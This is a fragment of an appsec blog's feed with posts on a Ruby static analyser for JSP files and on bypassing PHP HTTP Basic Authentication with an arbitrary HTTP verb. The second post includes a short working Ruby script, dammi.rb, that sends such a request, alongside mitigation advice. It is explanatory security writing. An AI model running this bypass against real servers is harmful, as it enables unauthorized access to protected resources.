</span><span class='line'>    <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s2">&quot;C*&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;U*&quot;</span><span class="p">)</span>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/Cookie (.*?) = new Cookie \(&quot;(.*?)&quot;,(.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">);</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">,</span> <span class="ss">:name</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">2</span><span class="o">].</span><span class="n">trim</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="p">,</span> <span class="s2">&quot;&quot;</span><span class="p">),</span> <span class="ss">:value</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">3</span><span class="o">].</span><span class="n">trim</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="p">,</span> <span class="s2">&quot;&quot;</span><span class="p">)}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/Cookie (.*?) = new Cookie\(&quot;(.*?)&quot;,(.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">);</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">,</span> <span class="ss">:name</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">2</span><span class="o">].</span><span class="n">trim</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="p">,</span> <span class="s2">&quot;&quot;</span><span class="p">),</span> <span class="ss">:value</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">3</span><span class="o">].</span><span class="n">trim</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="p">,</span> <span class="s2">&quot;&quot;</span><span class="p">)}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/(.*?) = new Cookie \(&quot;(.*?)&quot;,(.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">);</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">,</span> <span class="ss">:name</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">2</span><span class="o">].</span><span class="n">trim</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="p">,</span> <span class="s2">&quot;&quot;</span><span class="p">),</span> <span class="ss">:value</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">3</span><span class="o">].</span><span class="n">trim</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="p">,</span> <span class="s2">&quot;&quot;</span><span class="p">)}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>  <span class="n">ret</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Assign find_cookies values to cookies attribute will make our test to succeed.
A regex improvement that it is underway is to skip whitespaces in some Java
statement.</p>

<p>Running integration tests, cucumber will complain about the missing output for the binary tool.
As I said before, it&#8217;s up to the engine to prepare output for binary script; I
make this choice to avoid the main ruby code to deal with different results
format, instead of just having a string to show.</p>

<p>Let&#8217;s add cookie reporting code:</p>

<figure class='code'><figcaption><span>Codesake::Engine::Jsp.analyse</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nf">analyse</span>
</span><span class='line'>  <span class="n">ret</span> <span class="o">=</span>  <span class="o">[]</span>
</span><span class='line'>  <span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'>  <span class="vi">@cookies</span>            <span class="o">=</span> <span class="n">find_cookies</span>
</span><span class='line'>
</span><span class='line'>  <span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>    <span class="vi">@cookies</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">c</span><span class="o">|</span>
</span><span class='line'>      <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="s2">&quot;cookie </span><span class="se">\&quot;</span><span class="si">#{</span><span class="n">c</span><span class="o">[</span><span class="ss">:name</span><span class="o">]</span><span class="si">}</span><span class="se">\&quot;</span><span class="s2"> found with value: </span><span class="se">\&quot;</span><span class="si">#{</span><span class="n">c</span><span class="o">[</span><span class="ss">:value</span><span class="o">]</span><span class="si">}</span><span class="se">\&quot;</span><span class="s2"> (</span><span class="si">#{</span><span class="vi">@filename</span><span class="si">}</span><span class="s2">@</span><span class="si">#{</span><span class="n">c</span><span class="o">[</span><span class="ss">:line</span><span class="o">]</span><span class="si">}</span><span class="s2">)&quot;</span>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'>    <span class="n">ret</span>
</span><span class='line'>  <span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Now everything is green. We implemented our cookies scan functionality, if a
JSP file will create a Cookie for us we can detect it and see if we have to be
worried about it or not.</p>

<h3>Mixing up static and dynamic</h3>

<p>But I don&#8217;t want to implement a grep++ in ruby. The future is hybrid source
code analysis and codesake (and <a href="http://codesake.com">codesake.com</a> as well),
will move further in this direction.</p>

<p>Soon, one or more dynamic actions will be associated to the static finding. In
example, if a reflected XSS has been found in a JSP page it will be a clever
approach to close test this finding making a call to that url tampering the
parameter we marked as suspected.</p>

<h3>Roadmap</h3>

<p>Hopefully I will launch <a href="http://codesake.com">codesake.com</a> as SaaS application
security platform before summer 2013, so codesake engine that it will be one of
the core engines it will reach its first major release.</p>

<p>codesake rubygem will always remain an opensource, MIT licensed, sast engine.
Of course I&#8217;ll add more advanced functionalities in the commercial part of the
codesake.com portal, mostly designed for ruby powered web applications
(Sinatra, Padrino and Rails).</p>

<p>Some nice to have features:</p>

<ul>
<li>support for JAVA, Ruby and PHP</li>
<li>different output formats, including SQL</li>
<li>improve regular expressions</li>
<li>much more better documentation</li>
</ul>


<p>Enjoy it!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Bypassing HTTP Basic Authentication in PHP application nominated as hacking technique for 2012]]></title>
    <link href="http://armoredcode.com/blog/bypassing-http-basic-authentication-in-php-application-nominated-as-hacking-technique-for-2012/"/>
    <updated>2012-12-13T07:51:00+01:00</updated>
    <id>http://armoredcode.com/blog/bypassing-http-basic-authentication-in-php-application-nominated-as-hacking-technique-for-2012</id>
    <content type="html"><![CDATA[<p>Authentication is a cool topic in application security research nowadays. Last
April I posted about a real world security assessment activities over a friend
of mine PHP powered portal.</p>

<p>Using a malformed HTTP verb to request a protected resource, it is possible to
bypass the authentication mechanism for a PHP 5.3 written web application.</p>

<p><a href="http://armoredcode.com/blog/bypassing-basic-authentication-in-php-applications/">The post I wrote</a>
was mentioned in Jeremiah Grossman list for
<a href="http://blog.whitehatsec.com/top-ten-web-hacking-techniques-of-2012/">the top 10 hacking technique of 2012</a></p>

<!-- more -->


<h2>Original work by&#8230;</h2>

<p>I recap that almost 3 years ago researchers found that
<a href="http://cd34.com/blog/web-security/hackers-bypass-htaccess-security-by-using-gets-rather-than-get/">it was possible to bypass basic auth in Zend powered portal</a>
and that <a href="http://eguaj.tumblr.com/post/2361187940/re-hackers-bypass-htaccess-security-by-using-gets">this vulnerability is not Zend specific</a>.</p>

<p>In order to support custom WebDAV verbs, PHP interpreter when it founds an
unknown verb it gives the script the control about how to handle that method.
Of course this can be mitigated in .htaccess file specifying which HTTP verbs
are allowed let all other verbs to be discarded.</p>

<h2>The attacking script</h2>

<p>A raw ruby script implementing the technique described in <a href="http://armoredcode.com/blog/bypassing-basic-authentication-in-php-applications/">my post</a> is the following:</p>

<figure class='code'><figcaption><span>dammi.rb</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="c1">#!/usr/bin/env ruby</span>
</span><span class='line'>
</span><span class='line'><span class="nb">require</span> <span class="s1">&#39;net/http&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="k">class</span> <span class="nc">Dammi</span> <span class="o">&lt;</span> <span class="no">Net</span><span class="o">::</span><span class="no">HTTPRequest</span>
</span><span class='line'>  <span class="no">METHOD</span><span class="o">=</span><span class="s2">&quot;DAMMI&quot;</span>
</span><span class='line'>  <span class="no">REQUEST_HAS_BODY</span> <span class="o">=</span> <span class="kp">false</span>
</span><span class='line'>  <span class="no">RESPONSE_HAS_BODY</span> <span class="o">=</span> <span class="kp">true</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="k">raise</span> <span class="s2">&quot;usage: dammi url page&quot;</span> <span class="k">if</span> <span class="no">ARGV</span><span class="o">.</span><span class="n">length</span> <span class="o">!=</span> <span class="mi">2</span>
</span><span class='line'>
</span><span class='line'><span class="k">begin</span>
</span><span class='line'>  <span class="n">http</span><span class="o">=</span><span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="no">ARGV</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span><span class="p">,</span> <span class="mi">80</span><span class="p">)</span>
</span><span class='line'>  <span class="n">r_a</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="no">Dammi</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="no">ARGV</span><span class="o">[</span><span class="mi">1</span><span class="o">]</span><span class="p">))</span>
</span><span class='line'>  <span class="nb">puts</span> <span class="n">r_a</span><span class="o">.</span><span class="n">body</span>
</span><span class='line'><span class="k">rescue</span> <span class="o">=&gt;</span> <span class="n">e</span>
</span><span class='line'>  <span class="nb">puts</span> <span class="n">e</span><span class="o">.</span><span class="n">message</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>The script needs two parameters: the host and the url to be requested. <strong>There
is no</strong> error checking on parameter passed from command line so you may want to
add your own in order to have a pure defensive code.</p>

<figure class='code'><figcaption><span>dammi.rb</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="err">$</span> <span class="o">.</span><span class="n">/dammi</span><span class="o">.</span><span class="n">rb</span> <span class="n">localhost</span> <span class="sr">/protected_resource</span>
</span></code></pre></td></tr></table></div></figure>


<p>The following line is in my webserver&#8217;s log:</p>

<figure class='code'><figcaption><span>dammi.rb</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="mi">127</span><span class="o">.</span><span class="mi">0</span><span class="o">.</span><span class="mi">0</span><span class="o">.</span><span class="mi">1</span> <span class="o">-</span> <span class="o">-</span> <span class="o">[</span><span class="mi">13</span><span class="o">/</span><span class="no">Dec</span><span class="o">/</span><span class="mi">2012</span> <span class="mi">08</span><span class="p">:</span><span class="mi">14</span><span class="p">:</span><span class="mi">17</span><span class="o">]</span> <span class="s2">&quot;DAMMI /protected_resource HTTP/1.1&quot;</span> <span class="mi">404</span> <span class="mi">40</span> <span class="mi">0</span><span class="o">.</span><span class="mo">000</span><span class="mi">8</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<h2>Off by one</h2>

<p>The fundamental rule here is that HTTP Basic Authentication is something you
want to use in your development or testing environment to protect your
application <strong>before</strong> you deploy it in production.</p>

<p>I rather suggest you not to use HTTP Basic Authentication at all, choosing a
strong authentication mechanism. Supporting OAuth is a great deal since you
demand all credentials issue to a well known authentication provider (e.g.
Twitter, Facebook, Github.).</p>

<p>Look at <a href="http://armoredcode.com/blog/crafting-an-authentication-subsystem-that-rocks-for-your-padrino-application-with-omniauth/">this post</a> if you need to implement OAuth in a Padrino powered application using Omniauth.</p>

<p>As general rules, you may also want to apply:</p>

<ol>
<li>Backends must be strongly protected by a login form with username and
passwords</li>
<li>Passwords <strong>must not</strong> be saved in plaintext but encrypted using SHA-256 or
SHA-512. Using bcrypt is <strong>even better</strong>.</li>
<li>Login forms must be served over an HTTPS connection</li>
<li>Your server side scripts must <strong>always</strong> check for authentication token in
the HTTP session or wherever you choose to save it</li>
<li>Never trust users.</li>
</ol>


<p>Enjoy it!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Driven by real world task: code reviewing JSP using regular expressions]]></title>
    <link href="http://armoredcode.com/blog/driven-by-real-world-task-code-reviewing-jsp-using-regular-expression/"/>
    <updated>2012-12-03T18:45:00+01:00</updated>
    <id>http://armoredcode.com/blog/driven-by-real-world-task-code-reviewing-jsp-using-regular-expression</id>
    <content type="html"><![CDATA[<p>Nothing but solving a real world problem can help boosting a piece of software
to evolve.</p>

<p>In those days I&#8217;m engaged on a big Java written source code review. I submitted
the code onto the commercial tool we use to scan very wide codebases but, since
this tool output doesn&#8217;t impress me much, I start searching the web for a Java
parser I can
integrate quickly in my <a href="http://armoredcode.com/blog/untold-owasp-orizon-is-died-and-im-sad-of-it/">Owasp Orizon tool</a>.</p>

<p>Unsatisfied I started working on the jsp engine for <a href="https://github.com/codesake/sake">sake</a> rubygem.</p>

<!-- more -->


<p>When I&#8217;m reviewing the code I use this workflow. Using the commercial tool and
seeing its internal parser output. Then I can focus with manual reviewing
pieces of code that parser <em>thinks</em> they are more prone of being vulnerable.</p>

<p>Manual review involves using ad hoc written script, tools from my toolbox and
eventually something from the opensource world.
In this phase I double check code review findings submitting to a running copy
of the code, some well written pattern attack in order to check if the
suspected vulnerable is either a false positive or not.</p>

<h2>Starting from the view</h2>

<p>My tools collection lacks about a good JSP interpreter/parser. Since I&#8217;m
writing <a href="http://codesake.com">codesake.com</a> that it will be an application
security portal, I firedup vim starting a quick and dirty JSP scanning engine
for <a href="https://github.com/codesake/sake">sake</a>.</p>

<p>In a first raw implementation I used regular expression to check:
* the presence of passwords or other suspected sensitive information in the
  code;
* the packages imported by the JSP page. This can be useful to detect third
  party libraries used by the page;
* the values read from the HTTP request
* the variables reflected as output to the user</p>

<p>The approach I used? A lightweight TDD session with irb used instead of rspec.
Remember I want to cook a rough implementation of Sake::Jsp engine. I&#8217;ll add
rspec when I&#8217;ll merge it in sake gem hopefully with a better implementation.</p>

<h2>Deep into the scanner</h2>

<p>First of all, after the shebang, I turned on UTF-8 encoding since the source
code can have Italian chars inside, I required
<a href="https://github.com/thesp0nge/trimmy">trimmy</a> a gem I wrote to add a trim
method to ruby String just like PHP and rainbow gem to add a touch of color to
the output.</p>

<figure class='code'><figcaption><span>a rough Sake::Jsp implementation</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="c1">#!/usr/bin/env ruby</span>
</span><span class='line'><span class="c1"># encoding: UTF-8</span>
</span><span class='line'>
</span><span class='line'><span class="nb">require</span> <span class="s1">&#39;trimmy&#39;</span>
</span><span class='line'><span class="nb">require</span> <span class="s1">&#39;rainbow&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="c1"># XXX: Performance issue. @lines is looped several times in order to keep tests</span>
</span><span class='line'><span class="c1"># small. A clever approach could be looping the line vector only once instead</span>
</span><span class='line'><span class="c1"># of replicate the loops several times.</span>
</span></code></pre></td></tr></table></div></figure>


<p>The above comment is to force myself in finding a clever implementation since
all the small security checks loop in the array full of source code lines, that
it brings the complexity to O(n) where n is the number of lines of code.</p>

<p>Another option is to loop once making all the regular expression and have some
helper methods giving back a particular result.</p>

<p>I added a list of false positive methods that they can be found as output
routine but the value they returned can&#8217;t be tampered by the user.
The engine behaviour is to use another color to show them, maybe in the future
they can be silently ignored.</p>

<p>The suspected secrets list is very prone to false positives since developers
around the world can save passwords or other secrets in variables called <em>foo</em>,
<em>goofy</em>, <em>aaa</em>, <em>fooled</em> or whatever. This is the main limit of source code
analysis: a tool cannot understand a source code, it can only give a
probabilistic evaluation.
Of course, I don&#8217;t expect all people agree with this. Which is your opinion?</p>

<figure class='code'><figcaption><span>a rough Sake::Jsp implementation</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">module</span> <span class="nn">Sake</span>
</span><span class='line'>  <span class="k">class</span> <span class="nc">Jsp</span>
</span><span class='line'>
</span><span class='line'>    <span class="kp">attr_reader</span> <span class="ss">:lines</span>
</span><span class='line'>    <span class="kp">attr_reader</span> <span class="ss">:filename</span>
</span><span class='line'>
</span><span class='line'>    <span class="kp">attr_reader</span> <span class="ss">:results</span>
</span><span class='line'>
</span><span class='line'>    <span class="no">FALSE_POSITIVES</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&quot;request.getContextPath()&quot;</span><span class="p">,</span> <span class="s2">&quot;request.getLocalName()&quot;</span><span class="p">,</span> <span class="s2">&quot;request.getLocalPort()&quot;</span><span class="o">]</span>
</span><span class='line'>    <span class="no">SUSPECTED_SECRETS</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&quot;password&quot;</span><span class="p">,</span> <span class="s2">&quot;username&quot;</span><span class="p">,</span> <span class="s2">&quot;login&quot;</span><span class="p">,</span> <span class="s2">&quot;xxx&quot;</span><span class="p">,</span> <span class="s2">&quot;todo&quot;</span><span class="p">,</span> <span class="s2">&quot;fix&quot;</span><span class="p">,</span> <span class="s2">&quot;fixme&quot;</span><span class="p">,</span> <span class="s2">&quot;passwd&quot;</span><span class="o">]</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">options</span><span class="o">=</span><span class="p">{})</span>
</span><span class='line'>      <span class="vi">@filename</span> <span class="o">=</span> <span class="n">options</span><span class="o">[</span><span class="ss">:filename</span><span class="o">]</span> <span class="k">unless</span> <span class="n">options</span><span class="o">[</span><span class="ss">:filename</span><span class="o">].</span><span class="n">nil?</span>
</span><span class='line'>      <span class="vi">@lines</span> <span class="o">=</span> <span class="p">{}</span>
</span><span class='line'>      <span class="vi">@results</span> <span class="o">=</span> <span class="p">{}</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p>I implemented only 2 public methods for Sake::Jsp.</p>

<p><em>sake_it</em> will run all the tests and it is the business logic of the whole
scanning engine and a Sake::Jsp.is_false_positive? that check a variable in the
list of false positive values.</p>

<figure class='code'><figcaption><span>a rough Sake::Jsp implementation</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nf">sake_it</span>
</span><span class='line'>  <span class="vi">@lines</span> <span class="o">=</span> <span class="n">read_file</span>
</span><span class='line'>  <span class="vi">@results</span><span class="o">[</span><span class="ss">:reflected</span><span class="o">]=</span> <span class="n">find_reflected_vars</span>
</span><span class='line'>  <span class="vi">@results</span><span class="o">[</span><span class="ss">:import</span><span class="o">]</span> <span class="o">=</span> <span class="n">find_imports</span>
</span><span class='line'>  <span class="vi">@results</span><span class="o">[</span><span class="ss">:secrets</span><span class="o">]</span> <span class="o">=</span> <span class="n">find_secrets</span>
</span><span class='line'>  <span class="vi">@results</span><span class="o">[</span><span class="ss">:entrypoints</span><span class="o">]</span> <span class="o">=</span> <span class="n">find_attack_entrypoints</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">is_false_positive?</span><span class="p">(</span><span class="n">var</span><span class="p">)</span>
</span><span class='line'>  <span class="no">FALSE_POSITIVES</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">var</span><span class="p">)</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>




<blockquote><p>The suspected secrets list is very prone to false positives since developers<br/>around the world can save passwords or other secrets in variables called _foo_,<br/>_goofy_, _aaa_, _fooled_ or whatever. This is the main limit of source code<br/>analysis: a tool cannot understand a source code, it can only give a<br/>probabilistic evaluation.</p></blockquote>


<p>Here it starts the private implementation of the engine.
<em>read_file</em> is not that magic. I used the readlines routine to store all the
lines of code in an Array.</p>

<figure class='code'><figcaption><span>a rough Sake::Jsp implementation</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'> <span class="kp">private</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">def</span> <span class="nf">read_file</span>
</span><span class='line'>      <span class="k">return</span> <span class="no">File</span><span class="o">.</span><span class="n">readlines</span><span class="p">(</span><span class="vi">@filename</span><span class="p">)</span> <span class="k">if</span> <span class="no">File</span><span class="o">.</span><span class="n">exists?</span><span class="p">(</span><span class="vi">@filename</span><span class="p">)</span>
</span><span class='line'>    <span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>_find_secrets_ method takes a line of code, it splits it in tokens and then
it loops for every returned word looking in the SUSPECTED_SECRETS Array.
I wont win the Turing Price for this one but eventually it works fair for a
first implementation.</p>

<figure class='code'><figcaption><span>a rough Sake::Jsp implementation</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nf">find_secrets</span>
</span><span class='line'>  <span class="n">ret</span> <span class="o">=</span> <span class="o">[]</span>
</span><span class='line'>  <span class="vi">@lines</span><span class="o">.</span><span class="n">each_with_index</span> <span class="k">do</span> <span class="o">|</span><span class="n">l</span><span class="p">,</span> <span class="n">i</span><span class="o">|</span>
</span><span class='line'>    <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s2">&quot;C*&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;U*&quot;</span><span class="p">)</span>
</span><span class='line'>    <span class="n">l</span><span class="o">.</span><span class="n">split</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">tok</span><span class="o">|</span>
</span><span class='line'>      <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span><span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:matcher</span><span class="o">=&gt;</span><span class="n">tok</span><span class="p">,</span> <span class="ss">:line</span><span class="o">=&gt;</span><span class="n">l</span><span class="p">}</span> <span class="k">if</span> <span class="no">SUSPECTED_SECRETS</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">l</span><span class="o">.</span><span class="n">downcase</span><span class="p">)</span>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>  <span class="n">ret</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>A typical activity I do every single time I work on a source code review, is
drawing a mindmap of the interconnection between classes and source code files.
That map helps me in taint propagation and in detecting pieces of code that are
not referenced by anyone so to be marked as unmaintained in the final report.</p>

<p>Finding import declaration from a Jsp page it helps me understand the packages
the page uses and eventually custom Java packages developed by internal team.</p>

<figure class='code'><figcaption><span>a rough Sake::Jsp implementation</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nf">find_imports</span>
</span><span class='line'>  <span class="n">ret</span> <span class="o">=</span> <span class="o">[]</span>
</span><span class='line'>  <span class="vi">@lines</span><span class="o">.</span><span class="n">each_with_index</span> <span class="k">do</span> <span class="o">|</span><span class="n">l</span><span class="p">,</span> <span class="n">i</span><span class="o">|</span>
</span><span class='line'>    <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s2">&quot;C*&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;U*&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">trim</span>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/&lt;%@page import=&quot;(.*?)&quot;%&gt;/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:package</span><span class="o">=&gt;</span><span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">ret</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>The _find_imports_ code can be refined in many ways. The regular expression
here doesn&#8217;t match a lot of different ways the package import clause can be
written. For sure a single space can lead the import not to be detected.</p>

